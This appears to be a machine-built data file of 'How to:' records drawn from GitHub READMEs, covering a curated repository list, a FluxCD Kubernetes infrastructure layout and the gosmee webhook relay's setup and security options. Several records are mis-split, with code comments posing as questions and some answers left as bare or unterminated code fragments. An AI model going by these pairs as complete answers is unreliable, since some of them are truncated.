{"id": "gh_b9a9542ebee0", "question": "How to: MoonScript", "question_body": "About eagleusb/awesome-repositories", "answer": "- [leafo/lapis](https://github.com/leafo/lapis) - A web framework for Lua and OpenResty written in MoonScript", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324847"}
{"id": "gh_a00faf330859", "question": "How to: Objective-C", "question_body": "About eagleusb/awesome-repositories", "answer": "- [tonsky/AnyBar](https://github.com/tonsky/AnyBar) - OS X menubar status indicator\n- [prasmussen/chrome-cli](https://github.com/prasmussen/chrome-cli) - Control Google Chrome from the command line\n- [darlinghq/darling](https://github.com/darlinghq/darling) - Darwin/macOS emulation layer for Linux\n- [kasper/phoenix](https://github.com/kasper/phoenix) - A lightweight macOS window and app manager scriptable with JavaScript\n- [routerkeygen/routerkeygenPC](https://github.com/routerkeygen/routerkeygenPC) - Qt Port for Linux, Mac OSX and Windows", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324855"}
{"id": "gh_544c720075e6", "question": "How to: Open Policy Agent", "question_body": "About eagleusb/awesome-repositories", "answer": "- [Checkmarx/kics](https://github.com/Checkmarx/kics) - Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with KICS by Checkmarx.\n- [sighupio/container-signature-enforcer](https://github.com/sighupio/container-signature-enforcer) - \n- [fugue/regula](https://github.com/fugue/regula) - Regula checks infrastructure as code templates (Terraform, CloudFormation, k8s manifests) for AWS, Azure, Google Cloud, and Kubernetes security and compliance using Open Policy Agent/Rego", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324861"}
{"id": "gh_1c1131a4813d", "question": "How to: Table of Contents", "question_body": "About brainfair/awesome-flux-infra", "answer": "- [Support Project](#support-project)\n- [Prerequisites](#prerequisites)\n- [List of applications](#list-of-applications)\n- [Import current repository](#import-current-repository)\n  - [Substitute variables](#substitute-variables)\n- [Repository structure](#repository-structure)\n- [Structure idea](#structure-idea)\n- [Flex/Stable Bundles and promotion](#flexstable-bundles-and-promotion)\n- [Slack Notifications](#slack-notifications)\n- [Star History](#star-history)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648841"}
{"id": "gh_bcfb3d9bb6ab", "question": "How to: Support Project", "question_body": "About brainfair/awesome-flux-infra", "answer": "[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/N4N011QV6F)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648853"}
{"id": "gh_167f256e3159", "question": "How to: Prerequisites", "question_body": "About brainfair/awesome-flux-infra", "answer": "- Kubernetes cluster version 1.24 or newer\n- Flux version 2.3.0 or newer bootstrapped to the [Head repository (example)](https://github.com/brainfair/awesome-flux-head)\n- [CRD GitOps repository](https://github.com/brainfair/awesome-flux-crds) must be included before this as a dependency.", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648858"}
{"id": "gh_0b8568162b0a", "question": "How to: Core Components", "question_body": "About brainfair/awesome-flux-infra", "answer": "- [aws-load-balancer-controller](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/aws-load-balancer-controller) - Manages AWS Elastic Load Balancers for Kubernetes clusters\n- [cert-manager](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/cert-manager) - X.509 certificate controller for Kubernetes\n- [cluster-autoscaler](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/cluster-autoscaler) - a component that automatically adjusts the size of a Kubernetes Cluster\n- [external-dns](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/external-dns) - synchronizes exposed Kubernetes Services and Ingresses with DNS providers.\n- [external-secrets](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/external-secrets) - External Secrets Operator (ESO) is used to synchronize secrets from external APIs into Kubernetes\n- [Istio ServiceMesh](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/istio) - ServiceMesh based on Envoy\n- [Envoy Gateway](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/envoy-gateway) - an API Gateway implementation based on Envoy proxy", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648865"}
{"id": "gh_5e44d8d08fcc", "question": "How to: Observability Components", "question_body": "About brainfair/awesome-flux-infra", "answer": "- [Victoria Metrics (victoria-metrics-k8s-stack)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/victoria-metrics-k8s-stack) - Metrics Database\n- [Victoria Logs Single](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/victoria-logs) - Logs Database\n- [flux-monitoring](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/flux-monitoring) - alerts and dashboards for the FluxCD\n- [Loki](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/loki) - Logs Database\n- [Grafana Alloy](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/alloy) - Telemetry Collector\n- [Grafana](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/grafana) - Grafana visualizations dashboards\n- [blackbox-exporter](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/blackbox-exporter) - allows blackbox probing of endpoints\n- [helm-exporter](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/helm-exporter) - Exports Helm release, chart, and version metrics in Prometheus format.\n- [k8s-event-logger](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/k8s-event-logger) - This tool simply watches Kubernetes Events and logs them to stdout in JSON to be collected and stored by your logging solution\n- [kubelinks](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/kubelinks) - Provides a web page with links to all URLs from Kubernetes ingresses and Istio gateways.\n- [metrics-server](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/metrics-server) - collects resource metrics from Kubelets and exposes them in Kubernetes apiserver\n- [oomkill-exporter](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/oomkill-exporter) - Exports metrics about Out-Of-Memory (OOM) events in Kubernetes\n- [x509-certificate-exporter](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/x509-certificate-exporter) - Exports metrics about x509 certificate expiration and validity.", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648873"}
{"id": "gh_f01b2baae7cd", "question": "How to: Nice to have", "question_body": "About brainfair/awesome-flux-infra", "answer": "- [reflector](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/reflector)\n- [KEDA](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/keda)\n- [stakater/Reloader](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/reloader)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648878"}
{"id": "gh_3804b0236b03", "question": "How to: Extra Components", "question_body": "About brainfair/awesome-flux-infra", "answer": "- [Apache Airflow](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/airflow)\n- [Apache Superset](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/apache-superset) - is an open-source modern data exploration and visualization platform.\n- [ArgoCD](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/argocd)\n- [capacitor (Flux UI)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/capacitor)\n- [Clickhouse Operator (Altinity)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/clickhouse-operator)\n- [Clickhouse simple example (Altinity)](https://github.com/brainfair/awesome-flux-infra/tree/main/clusters/homelab/clickhouse)\n- [cloudnative-pg (PostgreSQL operator)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/cloudnative-pg)\n- [cloudnative-pg tenant example](https://github.com/brainfair/awesome-flux-infra/tree/main/clusters/homelab/pg-airflow)\n- [Dragonfly Instance (redis replacement)](https://github.com/brainfair/awesome-flux-infra/tree/main/clusters/homelab/redis)\n- [Dragonfly Operator (redis replacement)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/dragonfly-operator)\n- [elastic operator (ECK)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/eck-operator)\n- [httpbin](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/httpbin)\n- [Jenkins](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/jenkins-server)\n- [kro (Kube Resource Orchestrator)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/kro)\n- [minio-operator](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/minio-operator)\n- [minio-tenant example](https://github.com/brainfair/awesome-flux-infra/tree/main/clusters/homelab/minio-loki)\n- [n8n](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/n8n) - AI workflow automation\n- [ollama & open-webui](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/ollama)\n- [pgadmin](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/pgadmin)\n- [SeaweedFS (S3 alternative)](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/seaweedfs)\n- [Strimzi Kafka Operator](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/strimzi)\n- [Valkey Instance](https://github.com/brainfair/awesome-flux-infra/tree/main/clusters/homelab/valkey-sample) - example of Valkey instance\n- [Valkey Operator](https://github.com/brainfair/awesome-flux-infra/tree/main/apps/base/valkey-operator) - open-source for of redis by AWS", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648887"}
{"id": "gh_37e5e23504ef", "question": "How to: Import current repository", "question_body": "About brainfair/awesome-flux-infra", "answer": "Create GitRepository and Flux Kustomization in your main repository (change path and substitute variables as needed):\n\n```yaml\n---\napiVersion: source.toolkit.fluxcd.io/v1\nkind: GitRepository\nmetadata:\n  name: fluxcd-gitops-infra\n  namespace: flux-system\nspec:\n  interval: 10m\n  ref:\n    branch: main\n  secretRef:\n    name: flux-system\n  url: https://github.com/brainfair/awesome-flux-infra.git\n  ignore: |\n # exclude README.md\n /README.md\n---\napiVersion: kustomize.toolkit.fluxcd.io/v1\nkind: Kustomization\nmetadata:\n  name: fluxcd-gitops-infra\n  namespace: flux-system\nspec:\n  dependsOn:\n - name: fluxcd-gitops-crds\n  interval: 10m\n  path: ./clusters/homelab\n  prune: true\n  sourceRef:\n    kind: GitRepository\n    name: fluxcd-gitops-infra\n  postBuild:\n    substitute:\n      env: \"homelab\"\n      cluster_name: \"docker-desktop\"\n      cluster_subdomain: \"localhost.direct\"\n```", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 115, "answer_score": 10, "has_code": true, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648896"}
{"id": "gh_18718eb5ce53", "question": "How to: Substitute variables", "question_body": "About brainfair/awesome-flux-infra", "answer": "* env - environment name\n* cluster_name - the name of the Kubernetes cluster\n* cluster_subdomain - subdomain for all ingress resources\n\n[Check head repository example](https://github.com/brainfair/awesome-flux-head/blob/main/clusters/homelab/01-infra.yaml)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648902"}
{"id": "gh_554dcfb639aa", "question": "How to: Repository structure", "question_body": "About brainfair/awesome-flux-infra", "answer": "The Git repository contains the following top directories:\n\n- **apps/base** dir contains base application objects such as helmrelease, helmrepository, namespace, etc...\n- **apps/bundles** dir contains bundles for different types of environment\n- **clusters** dir contains cluster entry point where we can include different bundles or custom apps\n\n```\n── apps\n ├── base\n ├   ├── aws-load-balancer-controller\n ├   ├── blackbox-exporter\n ├   ....\n ├── bundles\n    ├── eks-flex\n    ├── eks-stable\n    ├── aks-flex\n    ├── aks-stable\n    ├── esxi-flex\n    ├── esxi-stable\n    ├── docker-flex\n    ├── docker-stable\n    ├── ...\n── clusters\n    ├── eks-cluster\n    ├── aks-cluster\n    ├── dockerdesktop-cluster\n    ├── vmware-cluster\n    ├── ...\n```", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 115, "answer_score": 10, "has_code": true, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648910"}
{"id": "gh_e38c34bf3277", "question": "How to: Structure idea", "question_body": "About brainfair/awesome-flux-infra", "answer": "The basic idea to define 3 levels of application kustomization:\n* base level inside apps/base defines a common definition of application and values for everything\n* bundles level inside apps/bundles defines aggregation of the base application and kustomization for the specified bundle\n* cluster level inside clusters/[cluster_name] defines entry point where we can include some bundle and override cluster-specific values or add something more\n\n![Structure](flex-stable.drawio.svg)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648916"}
{"id": "gh_ee545b92c9c1", "question": "How to: Flex/Stable Bundles and promotion", "question_body": "About brainfair/awesome-flux-infra", "answer": "To keep infrastructure up-to-date we defined two bundles for the Docker Desktop environment.\n* docker-flex - ~~where we define the version range for every application (blocking major updates) to allow automatic updates while maintaining stability.~~ Switched to renovatebot to improve visibility and control of updates.\n* docker-stable - where we define a pinned version for each application.\n\nNon-production environment should include a flex bundle where we can play/test/evaluate new applications and new versions.\nProduction environments should be a pointer to a stable bundle.\n\nFor 3rd party applications when a new version is successfully updated in the flex bundle we run the [promotion workflow](https://github.com/brainfair/awesome-flux-infra/blob/main/.github/workflows/promotion.yml) triggered by [dispatch notification](https://github.com/brainfair/awesome-flux-infra/blob/main/clusters/homelab/flux-promotion/gh-dispatch.yaml) defined in the staging docker cluster.\n\n![Promotion Diagram](fluxcd-promote.drawio.svg)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648922"}
{"id": "gh_18ffd3c2b023", "question": "How to: Star History", "question_body": "About brainfair/awesome-flux-infra", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=brainfair/awesome-flux-infra&type=Date)](https://www.star-history.com/#brainfair/awesome-flux-infra&Date)", "tags": ["brainfair"], "source": "github_gists", "category": "brainfair", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 115, "answer_score": 10, "has_code": false, "url": "https://github.com/brainfair/awesome-flux-infra", "collected_at": "2026-01-17T12:54:58.648927"}
{"id": "gh_693be46ccbe4", "question": "How to: Description", "question_body": "About chmouel/gosmee", "answer": "Gosmee enables you to relay webhooks from itself (as a server) or from\nto your local laptop or infrastructure hidden from the public internet.\n\nIt makes exposing services on your local network (like localhost) or behind a VPN quite straightforward. This allows public services, such as GitHub, to push webhooks directly to your local environment.\n\nHere's how it works:\n\n1. Configure your webhook to send events to a\nURL or to your publicly accessible Gosmee server.\n2. Run the Gosmee client on your local machine to fetch these events and forward them to your local service.\n\nThis creates a proper bridge between GitHub webhooks and your local development environment.\n\nAlternatively, if you'd rather not use a relay server, you can use the GitHub API to replay webhook deliveries directly. (beta)", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267705"}
{"id": "gh_0c0551f0c149", "question": "How to: Live Event Feed", "question_body": "About chmouel/gosmee", "answer": "The web interface of the gosmee server features a live event feed that shows webhook events in real-time:\n\n- Live status indicator showing connection state\n- Event counter showing number of received events\n- JSON tree viewer for easy payload inspection\n- Copy buttons for headers and payloads\n- Replay functionality to resend events to your endpoint\n- Clear button to remove all events from the feed\n\nEach event in the feed shows:\n\n- Event ID and timestamp\n- Headers with copy functionality\n- Payload in both tree view and raw JSON formats\n- Option to replay individual events", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267727"}
{"id": "gh_8423b55eb790", "question": "How to: [Nix/NixOS](https://nixos.org/)", "question_body": "About chmouel/gosmee", "answer": "Gosmee is available from [`nixpkgs`](https://github.com/NixOS/nixpkgs).\n\n```shell\nnix-env -iA gosmee\nnix run nixpkgs#gosmee -- --help # your args are here\n```", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267738"}
{"id": "gh_d7dfa6b8527f", "question": "How to: System Services", "question_body": "About chmouel/gosmee", "answer": "System service example files for macOS and Linux are available in the [misc](./misc) directory.", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267743"}
{"id": "gh_58b963d1f5ff", "question": "How to: Kubernetes", "question_body": "About chmouel/gosmee", "answer": "You can deploy gosmee on Kubernetes to relay webhooks to your internal services.\n\nTwo deployment configurations are available:\n\n- [gosmee-server-deployment.yaml](./misc/gosmee-server-deployment.yaml) - For deploying the public-facing server component\n- [gosmee-client-deployment.yaml](./misc/gosmee-client-deployment.yaml) - For deploying the client component that forwards to internal services\n\n#### Server Deployment\n\nThe server deployment exposes a public webhook endpoint to receive incoming webhook events:\n\n```shell\nkubectl apply -f misc/gosmee-server-deployment.yaml\n```\n\nKey configuration:\n\n- Set `--public-url` to your actual domain where the service will be exposed\n- Configure an Ingress with TLS or use a service mesh for production use\n- For security, consider using `--webhook-signature` and `--allowed-ips` options\n\n#### Client Deployment\n\nThe client deployment connects to a gosmee server (either your own or smee.io) and forwards webhook events to internal services:\n\n```shell\nkubectl apply -f misc/gosmee-client-deployment.yaml\n```\n\nKey configuration:\n\n- Adjust the first argument to your gosmee server URL or smee.io channel\n- Change the second argument to your internal service URL (e.g., `http://service.namespace:8080`)\n- The `--saveDir` flag enables saving webhook payloads to `/tmp/save` for later inspection\n\nFor detailed configuration options, please refer to the documentation comments in each deployment file.", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267753"}
{"id": "gh_c1a9b34a15b9", "question": "How to: Shell completion", "question_body": "About chmouel/gosmee", "answer": "Shell completions are available for gosmee:\n\n```shell", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267758"}
{"id": "gh_52ca498a25c0", "question": "How to: GitHub webhook IP ranges", "question_body": "About chmouel/gosmee", "answer": "gosmee server --allowed-ips 192.30.252.0/22 --allowed-ips 185.199.108.0/22 --allowed-ips 140.82.112.0/20 --trust-proxy", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267775"}
{"id": "gh_15e7768b5ba6", "question": "How to: Multiple providers can be combined", "question_body": "About chmouel/gosmee", "answer": "gosmee server --allowed-ips 192.30.252.0/22 --allowed-ips 35.231.145.151 --allowed-ips 34.199.54.113 --trust-proxy\n```\n\nOfficial IP ranges documentation:\n\n- GitHub: [IP Documentation](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses)\n- GitLab.com: [IPv4 Addresses](https://docs.gitlab.com/ee/user/gitlab_com/index.html#ipv4-addresses)\n- Bitbucket Cloud: [IP Ranges Documentation](https://support.atlassian.com/bitbucket-cloud/docs/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall/)\n\nEnvironment variables:\n\n- `GOSMEE_ALLOWED_IPS`: Comma-separated list of allowed IPs/CIDR ranges\n- `GOSMEE_TRUST_PROXY`: Set to any value to trust proxy headers\n\nThe server logs will show:\n\n- Rejected POST requests with the client's IP address\n- Whether the IP was obtained from proxy headers (when --trust-proxy is enabled)\n- Standard request logging including status code 403 for rejected IPs\n\nNote: If no IP restrictions are configured, all POST requests will be allowed.\n\n##### Payload Size and Memory Management\n\n###### Server-Side\n\nTo protect server resources, `gosmee server` enforces a maximum payload size for incoming webhooks. By default, this limit is 25MB, matching GitHub's standard. You can configure this limit using the `--max-body-size` flag (value is in bytes).\n\nExample:\n\n```shell", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267794"}
{"id": "gh_1f32cacd2c99", "question": "How to: Set a custom 10MB limit", "question_body": "About chmouel/gosmee", "answer": "gosmee server --max-body-size 10485760\n```\n\n###### Client-Side\n\nThe `gosmee client` also has a buffer for receiving messages from the server. If you're forwarding payloads larger than the default, you'll need to increase this buffer.\n\n- **Flag**: `--sse-buffer-size`\n- **Default**: `1048576` (1MB)\n- **Description**: Sets the maximum buffer size in bytes for the client's connection.\n\nExample:\n\n```shell", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267800"}
{"id": "gh_1d08a71b9787", "question": "How to: Set a 5MB buffer for the client", "question_body": "About chmouel/gosmee", "answer": "gosmee client --sse-buffer-size 5242880\n```\n\n###### Important Considerations\n\nIncreasing payload and buffer sizes has security and performance implications:\n\n- **Increased Memory Consumption**: Both the client and server will consume more memory when these limits are raised. A server handling many simultaneous large webhooks, or a client with a large buffer, can use quite a bit of RAM.\n- **Denial-of-Service (DoS) Risk**: Exposing a server with a very large `max-body-size` can make it a target for DoS attacks, where an attacker sends huge payloads to exhaust server memory.\n- **Kubernetes Deployments**: If you're running `gosmee` in Kubernetes and increase these limits, you **must** update the memory `requests` and `limits` in the `gosmee-server-deployment.yaml` and `gosmee-client-deployment.yaml` files. Failure to do so may cause your Pods to be OOMKilled (Out Of Memory) by Kubernetes.\n\nAlways set these values to the lowest practical limit that still accommodates your expected webhook sizes.\n\n##### Channel Name Protection\n\nTo prevent potential DoS attacks and ensure system stability:\n\n- Channel names are limited to 64 characters maximum\n- All route handlers (`/`, `/events/{channel}`, `/replay/{channel}`, POST `/{channel}`) enforce this limit\n- Built-in validation for all endpoints that handle channel names\n- Protects against resource exhaustion attacks that could be caused by excessive channel name lengths\n\n##### Webhook Signature Validation\n\nWhen running gosmee server, you can enable webhook signature validation for multiple providers with multiple secrets:\n\n```shell\ngosmee server --webhook-signature=SECRET1 --webhook-signature=SECRET2\n```\n\nWhen enabled:\n\n- For GitHub: Validates X-Hub-Signature-256 header using HMAC SHA-256\n- For GitLab: Validates X-Gitlab-Token header using secure token comparison\n- For Bitbucket Cloud/Server: Validates X-Hub-Signature header using HMAC SHA-256\n- For Gitea/Forge: Validates X-Gitea-Signature header using HMAC SHA-256\n- Supports multiple secrets - useful when receiving webhooks from different sources\n- Rejects requests with missing or invalid signatures with HTTP 401 Unauthorised\n- Each secret is tried for validation, webhook is accepted if any secret matches\n- Performance impact is minimal: ~2μs per validation with negligible memory usage\n\nYou can also set multiple secrets via the `GOSMEE_WEBHOOK_SIGNATURE` environment variable by separating them with commas.", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267815"}
{"id": "gh_6e4e66a9b641", "question": "How to: Replay Webhook Deliveries via the GitHub API (beta)", "question_body": "About chmouel/gosmee", "answer": "If you'd rather not use a relay server with GitHub, you can replay webhook deliveries directly via the GitHub API.\n\nThis method is more reliable as you don't depend on relay server availability. You'll need a GitHub token with appropriate scopes:\n\n- For repository webhooks: `read:repo_hook` or `repo` scope\n- For organisation webhooks: `admin:org_hook` scope\n\nCurrently supports replaying webhooks from Repositories and Organisations (GitHub Apps webhooks not supported).\n\nFirst, find the Hook ID:\n\n```shell\ngosmee replay --github-token=$GITHUB_TOKEN --list-hooks org/repo\n```\n\nList hooks for an organisation:\n\n```shell\ngosmee replay --github-token=$GITHUB_TOKEN --list-hooks org\n```\n\nStart listening and replaying events on a local server:\n\n```shell\ngosmee replay --github-token=$GITHUB_TOKEN org/repo HOOK_ID http://localhost:8080\n```\n\nThis will listen to all **new** events and replay them to\n.\n\nReplay all events received since a specific time (UTC format `2023-12-19T12:31:12`):\n\n```shell\ngosmee replay --time-since=2023-12-19T09:00:00 --github-token=$GITHUB_TOKEN org/repo HOOK_ID http://localhost:8080\n```\n\nTo find the right date, list all deliveries:\n\n```shell\ngosmee replay --github-token=$GITHUB_TOKEN --list-deliveries org/repo HOOK_ID\n```\n\n>[!NOTE]\n>`gosmee replay` doesn't support paging yet and lists only the last 100 deliveries. Specifying a date older than the last 100 deliveries won't work.\n>\n>When rate limited, gosmee will fail without recovery mechanisms.", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267825"}
{"id": "gh_0cee6e52f341", "question": "How to: Replay Viewer Utility", "question_body": "About chmouel/gosmee", "answer": "Gosmee includes a helper script [`misc/replayview`](./misc/replayview) for interactively browsing, previewing, and replaying webhook events saved by the client (`--saveDir`). This tool lets you:\n\n- Fuzzy-find replay shell scripts and their JSON payloads\n- Preview event metadata, headers, and payloads\n- Copy replay script paths to clipboard\n- Create symlinks for quick access\n- Run replay scripts directly\n- Interactively inspect JSON payloads (requires [`fx`](https://github.com/antonmedv/fx))\n\n**Usage:**\n\n```sh\n./misc/replayview -h\n```\n\nBy default, it looks for replay files in `/tmp/save` or `/tmp/replay`. Use `-d\n` to specify a different directory.\n\nIt will create a symbolic link of the chosen replay event to the file `/tmp/run.sh`, which redirects the event to the local service for easy payload replay.\n\n**Requirements:** `fzf`, `jq`, `fd`, and optionally [fx](https://fx.wtf/) for interactive JSON viewing.\n\nSee the script header or run with `-h` for full options and details.", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55, "answer_score": 10, "has_code": true, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267833"}
{"id": "gh_eeb4bea96e24", "question": "How to: Beyond Webhook", "question_body": "About chmouel/gosmee", "answer": "Gosmee is webhook-specific. For other tunnelling solutions, check\n. Recommended alternatives include [go-http-tunnel](https://github.com/mmatczuk/go-http-tunnel) or [tailscale](https://tailscale.com/).", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267838"}
{"id": "gh_fbc084e95a53", "question": "How to: Chmouel Boudjnah", "question_body": "About chmouel/gosmee", "answer": "- Fediverse - <[@chmouel@chmouel.com](https://fosstodon.org/@chmouel)>\n- Twitter - <[@chmouel](https://twitter.com/chmouel)>\n- Blog  - <[https://blog.chmouel.com](https://blog.chmouel.com)>", "tags": ["chmouel"], "source": "github_gists", "category": "chmouel", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55, "answer_score": 10, "has_code": false, "url": "https://github.com/chmouel/gosmee", "collected_at": "2026-01-17T12:55:01.267845"}
